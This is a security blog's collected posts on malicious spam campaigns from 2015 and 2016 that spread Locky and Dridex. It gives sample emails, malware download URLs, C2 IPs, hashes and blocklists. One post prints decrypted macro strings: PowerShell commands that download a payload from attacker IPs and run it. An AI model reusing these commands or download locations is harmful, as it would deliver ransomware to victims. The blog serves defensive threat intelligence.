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Showing posts sorted by relevance for query mwtv. Sort by date Show all posts
Showing posts sorted by relevance for query mwtv. Sort by date Show all posts

Tuesday, 17 February 2015

Something evil on 92.63.88.0/24 (MWTV, Latvia)

I've been tracking Dridex for some time, and I keep seeing IPs for MWTV in Latvia cropping up. So far I have seen:

92.63.88.87
92.63.88.97
92.63.88.100
92.63.88.105
92.63.88.106
92.63.88.108

I'm not sure how widely this spreads through the MWTV network, but I would certainly recommend blocking 92.63.88.0/24 on your network perimeter.

Thursday, 15 December 2016

Malware spam: "Amount Payable" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Lynn Drake
Date:    15 December 2016 at 09:55
Subject:    Amount Payable

Dear [redacted],
The amount payable has come to $38.29. All details are in the attachment.
Please open the file when possible.


-
Best Regards,
Lynn Drake
The name of the sender will vary, although the dollar amount seems consistent in all the samples I have seen. Attached is a file with a name similar to doc_6937209.zip which contains an apparently randomly-named script in a format similar to ~_ZJR8WZ_~.js. The highly obfuscated script of one sample can be seen here. Typical detection rates for the script are around 16/54.

There are many different scripts, downloading a component from one of the following locations (thanks to my usual reliable source):

0668.com/k5bhgn
250sb.com./jynvmx
addwords.com.tr/aah6qmhv
anti-dust.ru/7k6cp
asdream.pl/gbbs1c
atio.li/exjik
bappeda.dharmasrayakab.go.id/dlhalychp
braindouble.com/uycx51ix
buhoutserts.ru/ufdazc6vv
casino-okinawa.com/ejguf
catherineduret.ch/5qpqi5ezp
chinaxw.org/xw1ju7y6zc
chungcuvinhomemydinh.com/6dvjasf
crolic88.myjino.ru/1ddig
demo.shispare.com/bvsjq
environment.ae/0od5hn
forbrent.com/h9kqgq
fyd123.cn/kib6h2d9ga
groupeelectrogeneservice.com/eefpeywf9z
hedefosgb.com/dpyzsb6u
hlonline.kentucky.com/i7z78
innercityarts.squaremdesign.com/dyo1w7
jianhu365.com/z9puqdj2eu
malamut.org/gizb2zq
obaloco.com.br/67mfj
peopleprofit.in/pyihdg
roman64.humlak.cz/7bnisgf
rulebraker.ru/zsw4cnf9o
scaune.qmagazin.ro/5hktu4h
slankmethode.nl/4zzq1am
subys.com/mjguriv80
szwanrong.com/x5qxzpjsi
tecnomundo.uy/a8rnlgzv
test1.giaiphaponline.org/0ytdjs1
test.sousouyo.com/feaetpnuee
theamericanwake.com/xw1ju7y6zc
travelinsider.com.au/mwaefb4b
trietlong.net/heyus
tx318.com/kqe4ca
ucbus.net/usdxqqt6
u-niwon.com/kmjg6j9ske
vaaren.dk/ogcz6ys0d
viscarci.com/wyqs6353
walkonwheels.net.au/qmd1uu
wdcd999.com/lm5z2snyqn
web-shuttle.in/eeo9oc
windshieldrepairvancouver.ca/qcp8k7
wiselysoft.com/qcymgbug7
wszystkodokuchni.pl/sl5yko7
wudiai.com/mc3hnwd
www.espansioneimmobiliare.com/akktnck
www.myboatplans.net/6d7ukeco6
wx.utaidu.com/1eybujbru
xlr8services.com/n970foumf
xn--k1affefe.xn--p1ai/8wzzjk24u
youspeak.pt/liowrtxs
yukngobrol.com/h7sfu
zhiyuw.com/qfbdcvrul
zwljfc.com/ld1pvjozu
zzzort10xtest123.com/nin5k3bwo

According to this Malwr analysis, a DLL is dropped with a detection rate of 18/55.  This Hybrid Analysis shows the Locky infection clearly and identifies some C2s, combining this with another source gives the following list of C2 servers:

86.110.117.155/checkupdate (Rustelekom, Russia)
185.129.148.56/checkupdate (MWTV, Latvia)
185.17.120.166/checkupdate (Rustelekom, Russia)


MWTV is a known bad host, so I recommend blocking the entire /24.

Recommended blocklist:
86.110.117.155
185.129.148.0/24
185.17.120.166


Monday, 15 August 2016

Malware spam: "orderconfirmation@esab.co.uk" / "Order Confirmation-7069-2714739-20160815-292650"

This fake financial spam does not come from ESAB but is instead a simple forgery with a malicious attachment.

From:    orderconfirmation@esab.co.uk
Date:    15 August 2016 at 10:37
Subject:    Order Confirmation-7069-2714739-20160815-292650

_________________________________________________________________
This communication and any files transmitted with it contain information which is confidential and which may also be privileged. It is for the exclusive use of the intended recipient(s). If you are not the intended recipient(s), please note that any disclosure, copying, printing or use whatsoever of this communication or the information contained in it is strictly prohibited. If you have received this communication in error, please notify us by e-mail or by telephone as above and then delete the e-mail together with any copies of it.

ESAB does not accept liability for the integrity of this message or for any changes, which may occur in transmission due to network, machine or software failure or manufacture or operator error. Although this communication and any files transmitted with it are believed to be free of any virus or any other defect which might affect any computer or IT system into which they are received and opened, it is the responsibility of the recipient to ensure that they are virus free and no responsibility will be accepted by ESAB for any loss or damage arising in any way from receipt or use thereof. 
Attached is a file with a name similar to Order_Confirmation-7069-2714739-20160815-292650.docm which contains a malicious macro. There are various versions, which according to my source (thank you) download a component from one of the following locations:

marcinha.50webs.com/HJ6bhGHV
marimo1963430.web.fc2.com/HJ6bhGHV
mondialmt2.hi2.ro/HJ6bhGHV
orquestracaravan.com/HJ6bhGHV
turiblo.atspace.com/HJ6bhGHV
www.lancerortho.com/HJ6bhGHV
www.pescatoridelpontile.it/HJ6bhGHV
www.reniero.org/HJ6bhGHV
www.vinyljazzrecords.com/HJ6bhGHV
xn--kukuk-gstrow-jlb.de/HJ6bhGHV


The payload is Locky ransomware with a very low detection rate at present. It phones home to:

185.129.148.19/php/upload.php (MWTV, Latvia)
138.201.56.190/php/upload.php (Hetzner, Germany)
46.148.26.77/php/upload.php (Infium UAB, Ukraine)

The MWTV block is all bad. Recommended blocklist:
185.129.148.0/24
138.201.56.190
46.148.26.77


Tuesday, 5 July 2016

Malware spam: "Scanned image" leads to Locky

This fake document scan appears to come from within the victim's own domain but has a malicious attachment.

From:    administrator8991@victimdomain.com
Date:    5 July 2016 at 12:47
Subject:    Scanned image

Image data has been attached to this email.
Possibly due to an error in setting up the spam run, there is an attachment named 05-07-2016_rndnum(4,9)}}.docm which contains a malicious macro. We haven't seen much in the way of Word-based malware recently. The two samples I received have VirusTotal detection rates of 5/52 and 6/52. The Malwr analysis for those samples [1] [2] shows the macro downloading a binary from:

leafyrushy.com/98uhnvcx4x
sgi-shipping.com/98uhnvcx4x


There will be a lot more locations too. This drops a binary with a detection rate of 5/55 which appears to be Locky ransomware. Hybrid Analysis shows it phoning home to:

185.106.122.38 (Host Sailor, Romania / UAE)
185.106.122.46 (Host Sailor, Romania / UAE)
185.129.148.6 (MWTV, Latvia)


Host Sailor is a notoriously Black Hat web host, MWTV has is problems too. The payload appears to be be Locky ransomware.

Recommended blocklist:
185.106.122.0/24
185.129.148.0/24



Tuesday, 24 February 2015

Malware spam: "Berendsen UK Ltd Invoice 60020918 117" / "donotreply@berendsen.co.uk"

This fake invoice is not from Berendsen UK Ltd but is a simple forgery. They are not sending out the spam and their systems have not been compromised in any way. Instead, this email has a malicious Word document attached.

From:    donotreply@berendsen.co.uk
Date:    24 February 2015 at 08:09
Subject:    Berendsen UK Ltd Invoice 60020918 117

Dear Sir/Madam,

Please find attached your invoice dated 21st February.
All queries should be directed to your branch that provides the service. This detail can be found on your invoice.


Thank you.

___________________________________________________________
This e-mail and any attachments it may contain is confidential and
intended for the use of the named addressee(s) only. If you are not
the intended recipient, you have received it in error, please
immediately contact the sender and delete the material from your
computer system. You must not copy, print, use or disclose its
contents to any person. All e-mails are monitored for traffic data and
the content for security purposes.

Berendsen UK Ltd, part of the Berendsen plc Group.
Registered Office: 4 Grosvenor Place, London, SW1X 7DL.
Registered in England No. 228604
I have only seen one sample of this email, with a Word document IRN001549_60020918_I_01_01.doc which has a zero detection rate. Contained within this is malicious Word macro which downloads a component from the following location:

http://heikehall.de/js/bin.exe

This binary has a VirusTotal detection rate of 2/57. Automated analysis tools [1] [2] [3] show that it attempts to phone home to:

92.63.87.13 (MWTV, Latvia)
5.196.241.196 (OVH, Ireland)
66.110.179.66 (Microtech Tel, US)
202.44.54.5 (World Internetwork Corporation, Thailand)
78.140.164.160 (Webazilla, US)
31.160.233.212 (KPN, Netherlands)
185.14.30.98 (UA Servers, Ukraine)
86.104.134.156 (One Telecom, Moldova)


MWTV have featured several times on this blog. A close examination of their 92.63.80.0/20 block indicates a mix of legitimate and illegitimate sites, however the bad sites are concentrated in the following ranges:

92.63.82.0/23
92.63.84.0/22
92.63.88.0/24

In addition to this, the malware attempts to drop a Dridex DLL which is widely detected by AV vendors with a detection rate of 30/57.

Recommended blocklist:
92.63.82.0/23
92.63.84.0/22
92.63.88.0/24
5.196.241.196
66.110.179.66
202.44.54.5
78.140.164.160
31.160.233.212
185.14.30.98
86.104.134.156

Tuesday, 17 February 2015

Malware spam: "Unpaid invoice [ID:9876543210]" drops Dridex

This fake invoice comes with no body text, a random ID: in the subject and a randomly-named malicious Excel attachment

Date:    17 February 2015 at 14:05
Subject:    Unpaid invoice [ID:9876543210]
Some example attachment names are:

3356201778.xls
5EABA06572.xls
6F5FE56048.xls
A6AA331555.xls
B2D4C97246.xls
C9E5445852.xls

There are found different variants, all with very low detection rates at VirusTotal [1] [2] [3] [4]. Each one contains a different variety of macros, and unlike previous spam runs, these are individual modules (which frankly makes it no harder to analyse, just harder to put into Pastebin).

When we decrypt the strings in the macro, we see:

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://78.129.153.27/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://92.63.88.87/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://62.76.43.194/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;

cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://46.4.232.206/sdeoefefs/dfssk.cab','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe;
This combines the recent Powershell trick with a new one. Instead of downloading an EXE file, it downloads and unpacks a CAB file, dfssk.cab which is saved in the %TEMP% folder and then expanded to %TEMP%\JIOiodfhioIH.exe.

These download locations are:
92.63.88.87 (MWTV, Latvia)
78.129.153.27 (iomart, UK)
62.76.43.194 (IT House / Clodo-Cloud, Russia)
46.4.232.206 (Hetzner, Germany / Dmitry Zheltov, Russia)

Automated analysis tools [1] [2] [3] show this POSTing to 92.63.88.97 (MWTV,  Latvia), which is definitely worth blocking. Note that one of the download locations for the binary is only a few IPs away at  92.63.88.87.

ThreatExpert also shows attempted network connections to 92.63.88.97 plus:
136.243.237.194 (Hetzner, Germany)
74.208.68.243 (1&1, US)

This Malwr report shows a DLL with MD5 b83b18ffe375fad452c02bdf477864fe which has a VirusTotal detection rate of 3/57.

Recommended blocklist:
92.63.88.97
92.63.88.87
78.129.153.27
62.76.43.194

46.4.232.206
136.243.237.194
74.208.68.243

Thursday, 15 December 2016

Malware spam: "Payment Processing Problem" leads to Locky

This fake financial spam leads to Locky ransomware:

From:    Juliet Langley
Date:    15 December 2016 at 23:17
Subject:    Payment Processing Problem

Dear [redacted],

We have to inform you that a problem occured when processing your last payment (code: 3132224-M, $789.$63).
The receipt is in the attachment. Please study it and contact us.


-
King Regards,
Juliet Langley

The name of the sender will vary, as will the reference number and dollar amounts. Attached is a ZIP file with a name somewhat matching the reference (e.g. MPay3132224.zip) containing in turn a malicious Javascript with a name similar to ~_AB1C2D_~.js.

My trusted source says that the scripts download a component from one of the following locations:

028cdxyk.com/mltxgc1
1688daigou.com/csuix
2lazy4u.de/ca4yq
adv-tech.ru/7p1jia
allan.multimediedesignerskive.dk/pohtr8mwl
amaniinitiative.org/ubaupn
artcoredesign.com/9ihg6by
atelier-coccolino.com/cvpphnaf7o
auto-zakaz.com.ua/phwcg
bantiki.me/hzzgidch
bikebrowse.com/qap3je2
blueprint-dsg.com/dtr22
bvntech.com/amrwwxei
chonamyoung.com/9vsdld
cprsim.com/h9o3msx
dealspari.com/r2jvx5h6kc
demo.ahost5.ru/dhvzqqbo
demo.pornuha4you.com/lba7ajvti
deutsch.awardspace.info/0zetkhmp
dicksmacker.com/qq4ctnrgc
dryerventexpress.com/pnpafot9g
elevationmusic.de/6gcg6
e-studiz.com/hn0hl7i
formatwerbung.de/axxlilgd
gieslerdavies.com/cjhwnit
goldenarms.myjino.ru/3wn40qkg
gwerucity.org.zw/a3fsqhu9od
happyfeet.de/7rebctpqn5
hho68.com/hbowe
honestflooring.com/85i95u6vd
houssiere.daniel.formations-web.alsace/npqddd8b
infinitecorp.ca/to7jp7
kawagebook.com/5cbwdd5hap
kayamuh.sarf.com.tr/nou0chc
ledticket.com/pbmcdnx5rj
lucapotenziani.com/zjtguxf
mainlinecarriers.co.tz/ycj7o
martawyczynska.com/ilfvn
mbdvacations.com/ou8kkem
movewithgrace.ca/r8omwc
obccllc.com/tze5um3hh
old.strommarnas.se/yazezuw7og
seven-cards.com/xe2llygi
spikaflora.ru/zyubd6mlb
store.elixe.net/jltuvjpcsh
test1.zrise.top/isk90e
testlife.ruyigou.com/pv2ryezg7
theexcelconsultant.com/vp9u7tpa
thezenatwork.com/yd2c49vg0
topstoneisland.com/ud4jqd
tunca.bel.tr/uo3jnqkgxn
ustadhanif.com/q0w93lkrvp
www.boldrini.org.br/csneth51
www.chocolaterie-servant.com/1l38y2p
www.englishworld.it/w6ynmr
www.kottalgenealogy.com/vkwf5rll0s
www.sapol.it/ou8e1ftep
zapotech.com/sqagj4
zhongguanjiaoshi.com/mklu7

The malware then phones home to the following locations:

185.129.148.56/checkupdate (MWTV, Latvia)
178.209.51.223/checkupdate [hostname: 454.SW.multiservers.xyz] (EDIS, Switzerland)
37.235.50.119/checkupdate [hostname: 454.2.SW.multiservers.xyz] (EDIS, Switzerland)


Recommended blocklist:
185.129.148.0/24
178.209.51.223
37.235.50.119

Thursday, 18 August 2016

Malware spam: "The office printer is having problems so I've had to email the UPS label"

This fake UPS email has a malicious attachment. It appears to come from various countries UPS domains (e.g. ups.de, ups.co.uk), and from various senders.

From     "Laurence lumb" [Laurence.lumb25@ups.de]
Date     Thu, 18 Aug 2016 17:35:21 +0530
Subject     Emailing: Label

Good afternoon

The office printer is having problems so I've had to email the UPS label,
sorry for the inconvenience.

Cheers

Laurence lumb
Attached is a ZIP file with a name beginning "Label" plus a random number. This contains a malicious .WSF script file that downloads Locky ransomware from one of the following locations (according to my trusted source):

a-plusrijopleiding.nl/jkYTFhb7
cloud9surfphilippines.com/jkYTFhb7
concurs.kzh.hi2.ro/jkYTFhb7
cs-czosnusie.cba.pl/jkYTFhb7
dasproject.homepage.t-online.de/jkYTFhb7
detlevs-homepage.de/jkYTFhb7
edios.vzpsoft.com/jkYTFhb7
entree22.homepage.t-online.de/jkYTFhb7
entrematicomstyle.com/jkYTFhb7
hanakago3.web.fc2.com/jkYTFhb7
infocoard.50webs.com/jkYTFhb7
mortony.cba.pl/jkYTFhb7
ramenman.okoshi-yasu.com/jkYTFhb7
rgcgifuhashima.aikotoba.jp/jkYTFhb7
sulportale.50webs.com/jkYTFhb7
wb4rsun8c.homepage.t-online.de/jkYTFhb7
www.1-anwalt.de/jkYTFhb7
www.alexpalmieri.com/jkYTFhb7
www.beneli.be/jkYTFhb7
www.bkcelje.50webs.com/jkYTFhb7
www.ceccatobassano.it/jkYTFhb7
www.fabriziorossi.it/jkYTFhb7
www.jphmvossen.nl/jkYTFhb7
www.kdr.easynet.co.uk/jkYTFhb7
www.learnetplus.org/jkYTFhb7
www.lechner-maria.de/jkYTFhb7
www.parma-vivai.it/jkYTFhb7
www.pizzeriaelite.it/jkYTFhb7
www.pulsefl.0catch.com/jkYTFhb7
www.unice.it/jkYTFhb7
zsp17.y0.pl/jkYTFhb7


This dropped binary has a detection rate of 6/54. It phones home to the following locations:

185.129.148.19/php/upload.php (MWTV, Latvia)
51.255.107.8/php/upload.php (Webhost LLC Dmitrii Podelko, Russia / OVH, France)
194.67.210.183/php/upload.php (Marosnet, Russia)

Recommended blocklist:
185.129.148.0/24
51.255.107.8
194.67.210.183






Friday, 12 August 2016

Malware spam: This E-mail was sent from "CUKPR0329001" (Aficio MP C305).

This spam comes with a malicious attachment:

Subject:     Message from "CUKPR0317276"
From:     scanner@victimdomain.tld (scanner@victimdomain.tld)
To:     webmaster@victimdomain.tld;
Date:     Friday, 12 August 2016, 14:00

This E-mail was sent from "CUKPR0329001" (Aficio MP C305).

Scan Date: 17.11.2015 09:08:40 (+0000)
Queries to: <scanner@victimdomain.tld
The email appears to come from within the victim's own domain (but this is just a simple forgery). Attached is a ZIP file with a name similar to 201608120908.zip which contains a malicious .WSF script with a name similar to doc(171)-12082016.wsf

This Hybrid Analysis shows the script downloading a file from www.hi-segno.com/02bjJBHDs?WUubFbrItd=ratyCr (and also the same location on bonmoment.web.fc2.com and www.homesplus.nf.net) but a trusted source tells me that the following download locations appear in different scripts:

birthday-cards.50webs.com/02bjJBHDs
bonmoment.web.fc2.com/02bjJBHDs
broda.50webs.com/02bjJBHDs
coachinglegend2.atspace.com/02bjJBHDs
dopelx.com/02bjJBHDs
einfachwalter.homepage.t-online.de/02bjJBHDs
files.zdaspb.ru/02bjJBHDs
kolkhoz.web.fc2.com/02bjJBHDs
muteofficial.web.fc2.com/02bjJBHDs
portraitstaffa.de/02bjJBHDs
preglitzer.heimat.eu/02bjJBHDs
scom2.web.fc2.com/02bjJBHDs
seinyco.es/02bjJBHDs
sportpferde-weihmayer.homepage.t-online.de/02bjJBHDs
studiocorrado.org/02bjJBHDs
sv-sportscars.nl/02bjJBHDs
tianooze.web.fc2.com/02bjJBHDs
www.bitupont.hu/02bjJBHDs
www.ceccosport.it/02bjJBHDs
www.herinvest.be/02bjJBHDs
www.hi-segno.com/02bjJBHDs
www.homesplus.nf.net/02bjJBHDs
www.meckem.de/02bjJBHDs
www.meteoerba.it/02bjJBHDs
www.milleniumbar.it/02bjJBHDs
www.nikawilliam.net/02bjJBHDs
www.oxxengarde.de/02bjJBHDs
www.planetk.it/02bjJBHDs
www.smilehi.info/02bjJBHDs


The malware phones home to:

185.129.148.19/php/upload.php (MWTV, Latvia)
138.201.56.190/php/upload.php (Hetzner, Germany)

That Latvian network range is all bad, I recommend that you block the lot. The payload is Locky ransomware.

Recommended blocklist:
185.129.148.0/24
138.201.56.190


Thursday, 11 August 2016

Malware spam: "New Doc" / "Scanned by CamScanner" / "Sent from Yahoo Mail on Android"

This spam has a malicious attachment:

From:    Ashley [Ashley747@victimdomail.tld]
Date:    11 August 2016 at 11:13
Subject:    New Doc 6-6

Scanned by CamScanner


Sent from Yahoo Mail on Android

The sender name and numbers in the subject vary, and it appears to come from within the sender's own domain (this is just a simple forgery). Attached is a malicious Word document with a name similar to New Doc 666-9.docm. A Hybrid Analysis of one sample shows a download location of fcm-makler.de/4GBrdf6 and my sources (thank you) tell me that there are many others, giving the following list:

151.ru/4GBrdf6
antonello.messina.it/4GBrdf6
fcm-makler.de/4GBrdf6
iceninegr.web.fc2.com/4GBrdf6
mccrarys.us/4GBrdf6
momoselok.ru/4GBrdf6
sando.oboroduki.com/4GBrdf6
www.EastsideAutoSalvage.com/4GBrdf6
www.fasulo.org/4GBrdf6
www.halloweenparty.go.ro/4GBrdf6
www.tommasobovone.com/4GBrdf6


The malware is Locky ransomware, and it phones home to the following locations:

185.129.148.19/php/upload.php (MWTV, Latvia)
195.16.90.23/php/upload.php (WIBO International s.r.o., Ukraine) [hostname: vz1.hostlife.net]
136.243.237.197/php/upload.php (Hetzner, Germany)

Recommended blocklist:
185.129.148.0/24
195.16.90.23
136.243.237.197

Thursday, 4 August 2016

Malware spam: "Business card" / "I have attached the new business card design." leads to Locky

This spam email has a malicious attachment:

From:    Glenna Johnson
Date:    4 August 2016 at 10:18
Subject:    Business card

Hello [redacted],

I have attached the new business card design.
Please let me know if you need a change


King regards,
Glenna Johnson
c75b53fd1ea488ebe8eaf068fd5c9dd13f1848f4d3a7
Sender names and that long hexadecimal number with vary. Attached is a randomly-named ZIP file containing a malicious .js script beginning with "business card" [example]. The payload appears to be Locky ransomware.

This Hybrid Analysis of the script gives plenty of detail as to what is going on. My trusted sources tell me that the list of download locations is quite short:

escapegasmech.com/048220y5
goldjinoz.com/0a3tg
platimunjinoz.ws/13fo8lnl
regeneratewert.ws/1qvvu9lu
traveltotre.in/2c4ykij7


This drops a binary with a detection rate of 8/54. The earlier Hybrid Analysis report shows it phoning home to:

31.41.46.29/php/upload.php (Relink Ltd, Russia) [hostname: ip.cishost.ru]
185.129.148.19/php/upload.php (MWTV, Latvia)
91.219.29.35/php/upload.php (FLP Kochenov Aleksej Vladislavovich aka uadomen.com, Ukraine) [hostname: 35.29.219.91.colo.ukrservers.com]

All of those network blocks have a pretty poor reputation and I recommend that you block their entire ranges.

Recommended blocklist:
31.41.40.0/21
185.129.148.0/24
91.219.28.0/22






Wednesday, 3 August 2016

Malware spam: "As you directed, I send the attachment containing the data about the new invoices"

Another day, another Locky ransomware run:

From:    Marian Mcgowan
Date:    3 August 2016 at 11:15
Subject:    Fw: New invoices

As you directed, I send the attachment containing the data about the new invoices

Attached is a randomly-named ZIP file which contains a highly obfuscated .js script  which according to this Malwr analysis downloads a binary from..

blog-aida.cba.pl/2zensi7t

..when decrypted it creates a binary with a detection rate of 4/54. That same Malwr analysis shows it phoning home to:

93.170.104.20/php/upload.php (Breezle LLC, Netherlands) [hostname: pundik.rus.1vm.in]

This IP was seen last night and it seems that there is a concurrent Locky spam run phoning home to:

185.129.148.19/php/upload.php (MWTV, Latvia)
89.108.127.160/php/upload.php (Agava, Russia) [hostname: srv1129.commingserv.com]

Both those IPs are in known bad blocks.

Recommended blocklist:
93.170.104.20
185.129.148.0/24
89.108.127.0/24



Monday, 23 May 2016

Malware spam: "Please find attached the file we spoke about yesterday" leads to Locky

This spam appears to come from random senders, and leads to Locky ransomware:

From:    Graham Roman
Date:    23 May 2016 at 11:59
Subject:    Re:

Hi [redacted]

Please find attached the file we spoke about yesterday.

Thank you,
Graham Roman
PCM, Inc.
Attached is a ZIP file starting with copy_invoice_ and then a random sequence. This contains a malicious script file which in the sample I analysed downloads an obfuscated binary from:

oakidea.com/by2eezw8
islandflavaja.com/0p1nz
dragqueenwig.com/itukabk


Automated analysis of the script [1] [2] shows it dropping a file klA1KMQj2D.exe which has a VirusTotal detection rate of 5/56. Those prior reports plus these additional analyses of the binary [3] [4] [5] show network traffic to:

188.166.168.250 (Digital Ocean, UK)
31.41.44.45 (Relink Ltd, Russia)
92.63.87.53 (MWTV, Latvia)


Those reports all demonstrate clearly that this is Locky ransomware, although the barely encrypted downloaded binaries are a new feature.

UPDATE

Trusted third-party analysis (thank you) shows some additional download locations:

4cornerbazaar.com/rcjmp
ap-shoes.com/r3mkkch
b2cfurniture.com.au/ztydt7
babyhalfoff.com/di286c
bekith.com/twe4puv
canalshopping.com.br/kf5d9
ereganto.com.br/4bxi09t
farmavips.com/hlnl21tf
fina-mente.com/kitrl2
hablatinamerica.com/mkhxrsm
jhplhomedecor.com/m637g
joyofgiving.com.au/1b6v94yu
la-mousson.de/pxwimc
lojaonline.eurobar.pt/kmdb4euf
maibey.com/bakcy9s
metallerie.com/uh0kd
mymy365.com/d7bd2
objetsdinterieur.com/0p1nz
peptide-manufacturer.com/jc6pxks
pro-lnz.com/9ed5v5v
promotionalsales.com.au/0iobfbwc
store.steelalborz.com/fw4i3ssf
stylelk.com/12opjwfh


The MD5s of decrypted downloaded files are:

0cef8d79dd32b5701768ffb3e80dd6c9
18e1591325994d60468e58b30bd47ec7
1e1b9729198cb392636ad4b8ec880284
1eacf23630db85c2af07d2657c1a0917
2742891aff1f20ee09a67d29c5b4157d
2f7373602c67761a1666c3170a0adfd9
4f4d754ffb9b33c5b2b7ec6c38dc6a30
517c1805c2b805a801a6132bfd9d7a69
64eef31dc4cd4dc1ca51b6686e4cdaa1
6fc220a8b95e2167c21d0e1f91a516cb
73552fcfff60a171965103d691679b43
8108de8bf200d4baa62541e9eeca2ee4
9125956e3ee99b9f59b595fcba9ac658
9da331f4353f5b0033c162eb308a8197
a01d60682ad5fadc9018908185e8cde3
aceec3d6334e925297efc8d4232473c2
afd40dca335530ec993d9cf91be96b4c
d69adb50c7f2436f5f7502f22b3a5714
dab81432d4d6241e47d7110b8d051f41
de6c020b8639fda713fbe2285dc6740c
eb3391cefb6634e587b58e0d6540c7c3
fb56f158f6f4c81f7bed2a7c4490fadb


One additional C2 server:

176.31.47.100 (Unihost, Seychelles / OVH , France)

Recommended blocklist:
188.166.168.250
31.41.44.45
92.63.87.53

176.31.47.100

Monday, 28 March 2016

Malware spam: "Envoi d’un message : 9758W-TERREDOC-RS62937-15000" / Christine Faure [c.faure@technicoflor.fr]

This French-language spam comes with a malicious attachment:
From:    Christine Faure [c.faure@technicoflor.fr]
Date:    28 March 2016 at 16:54
Subject:    Envoi d’un message : 9758W-TERREDOC-RS62937-15000

Votre message est prêt à être envoyé avec les fichiers ou liens joints suivants :

9758W-TERREDOC-RS62937-15000
Message de sécurité
To save you putting it into Google Translate, the body text reads "Your message is ready to be sent with the following file or link attached". Attached is a file 9758W-TERREDOC-RS62937-15000.zip which comes in at least eight different versions each containing a different malicious script (VirusTotal results [1] [2] [3] [4] [5] [6] [7] [8]). The Malwr reports for those samples [9] [10] [11] [12] [13] [14] [15] [16] show a malicious binary downloaded from:

store.brugomug.co.uk/765f46vb.exe
ggbongs.com/765f46vb.exe
dragonex.com/765f46vb.exe
homedesire.co.uk/765f46vb.exe

scorpena.com/765f46vb.exe
pockettypewriter.co.uk/765f46vb.exe
enduro.si/pdf/765f46vb.exe
185.130.7.22/files/qFBC5Y.exe

Note that the last file is not like the others. There may be other download locations. The "765f46vb" binary has a detection rate of 4/57 and according to all those previous reports plus these other automated analyses [17] [18] [19] [20] the malware phones home to:

83.217.8.127 (Park-web Ltd, Russia)
84.19.170.249 (300GB.ru, Russia / Keyweb, Germany)
185.117.72.94 (Host Sailor, Netherlands)
91.200.14.73 (SKS-Lugan, Ukraine)
92.63.87.134 (MWTV, Latvia)
176.31.47.100 (OVH, Germany / Unihost, SC)


All of those look like pretty shady neigbourhoods, although I haven't examined them closely at this point. The payload is the Locky ransomware.

The other binary appears to be another version of Locky which appears to phone home to the same servers.

Recommended blocklist:
83.217.8.127
84.19.170.249
185.117.72.94
91.200.14.73
92.63.87.134
176.31.47.100





Monday, 21 March 2016

Malware spam: "FX Service" / "Fax transmission" spoofing victim's domain

This fake fax spam appears to come from within the victim's own domain, but it doesn't. Instead is is just a simple forgery with a malicious attachment.

From:    FX Service [emailsend@w.e191.victimdomain.tld]
Date:    21 March 2016 at 14:32
Subject:    Fax transmission: -7172277033-1974602246-2016032111285-47417.tiff

Please find attached to this email a facsimile transmission we
have just received on your behalf

(Do not reply to this email as any reply will not be read by
a real person)
Details will vary from message to message. Attached s a ZIP file with a name that broadly matches the one referred to in the subject (e.g. F-7172277033-1974602246-2016032111285-47417.zip) which contains any one of a wide number of malicious scripts (some example VirusTotal results [1] [2] [3] [4] [5]). Malwr analysis of those samples [6] [7] [8] [9] [10] shows binary download locations at:

http://modaeli.com/89h766b.exe
http://spormixariza.com/89h766b.exe
http://sebastiansanni.org/wp-content/plugins/hello123/89h766b.exe
http://cideac.mx/wp-content/plugins/hello123/89h766b.exe


There are probably other download locations too. The dropped binary has a VirusTotal detection rate of just 2/56.  This Malwr report of the payload indicates that it is Locky ransomware.

All of those sources plus this Deepviz report show network traffic to the following IPs:

195.64.154.126 (Ukrainian Internet Names Center, Ukraine)
92.63.87.106 (MWTV, Latvia)
84.19.170.244 (Keyweb AG, Germany / 300GB.ru, Russia)
217.12.199.90 (ITL Company, Ukraine)


If I receive more information I will post it here.

Recommended blocklist:
195.64.154.126
92.63.87.106
84.19.170.244
217.12.199.90






Tuesday, 12 May 2015

Malware spam: "ATTN: Outstanding Invoices - [4697E0] [April|May]"

This spam comes with random senders and reference numbers, but in all cases includes a malicious attachment:

From:    Debbie Barrett
Date:    12 May 2015 at 11:14
Subject:    ATTN: Outstanding Invoices - [4697E0] [April|May]

Dear anthony,

Kindly find attached our reminder and copy of the relevant invoices.
Looking forward to receive your prompt payment and thank you in advance.

Kind regards
The attachment name combines the recipient's email address with the fake reference number, e.g. barry_51DDAF.xls which isn't actually an Excel file at all, but a multipart MIME file. Payload Security's Hybrid Analysis tools manages to analyse it though, showing several steps in the infection chain.

First a VBScript is downloaded from pastebin[.]com/download.php?i=5K5YLjVu

Secondly, that VBScript then downloads a file from 92.63.88[.]87:8080/bt/get.php (MWTV, Latvia) which is saved as crypted.120.exe, this has a detection rate of 2/57.

This component then connects to 46.36.217.227 (FastVPS, Estonia) and according to this Malwr report drops a Dridex DLL with a detection rate of 3/56.

There are several different attachments, so far I have seen the following MD5s:
110B42E097A7677A993CF1B3B24743D8
20AEB9ECEBC26B3CDE960728E890F904
33A8CBE7B75B20B5EA1069E3E2A13D80
3973E29F7BDC7903FFCB596B10F9FD54
7019D711AE0E2FEDEE25EAA3341CFB7F
949816F4DF724E690690B3C8AD3871D4
9CDEFFBAC7B79302D309404E6F3068C4
B5C2393D44D8E0C94D04E2D159AE8776
B84D52F59AEC53B8D7FA109D256FCB6B
CA5E8A531A8EE24B15FC7B2A66502042
E99216D829C632DF24ECAD9162AF654C
EC1AD4316DBA799EF2E2440E715CD5F5
F4B5B0AE85F27E0A475BD359F5BE76E8
F666682D638FE67607DD189705844AD5

